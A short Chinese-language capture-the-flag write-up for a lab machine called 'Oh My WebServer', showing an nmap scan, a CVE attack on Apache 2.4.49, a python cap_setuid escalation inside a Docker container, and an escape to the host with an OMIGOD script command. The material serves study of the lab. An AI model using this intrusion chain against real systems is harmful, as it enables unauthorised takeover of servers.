Skip to main content

Oh My WebServer

端口扫描

root@ip-10-10-38-183:~/ohmyweb# nmap -sTCV -p  22,80 --min-rate 1000 10.10.73.139

Starting Nmap 7.60 ( <https://nmap.org> ) at 2023-09-18 09:32 BST
Nmap scan report for ip-10-10-73-139.eu-west-1.compute.internal (10.10.73.139)
Host is up (0.00017s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.49 ((Unix))
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.49 (Unix)
|_http-title: Consult - Business Consultancy Agency Template | Home
MAC Address: 02:70:B0:96:1E:0D (M/a-com Companies)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 8.04 seconds

后渗透

daemon

查看 80 的版本, 我知道着估计是个 CVE 漏洞了, 我就直接使用了 CVE 漏洞开始攻击

Untitled

daemon —> root (docker)

利用上面得到的 Shell 获取一个反向 Shell 来进行巩固, 同时查看环境我知道这是一个 docker 容器, 所以我开始尝试提权或者越狱, 我发现在容器中有一个 capabilities 程序

Files with capabilities (limited to 50):
/usr/bin/python3.7 = cap_setuid+ep

我们可以利用此来获取到一个 docker 内的 root 权限 python#capabilities

root (docker) —> root

根据一般规则, 我们的主机应该是 172.17.0.1, 所以我开始了内网的扫描

PORT     STATE  SERVICE
22/tcp open ssh
80/tcp open http
5985/tcp closed unknown
5986/tcp open unknown
  • 80 端口估计是我们的容器映射出去的
  • 5986 经过查找是一个 OMI 程序, 而且只有一种利用方式, 所以我们直接上传对应的脚本进行利用即可
(remote) root@4a70924bafa0:/# python3 omigod.py -t 172.17.0.1 -c id
uid=0(root) gid=0(root) groups=0(root)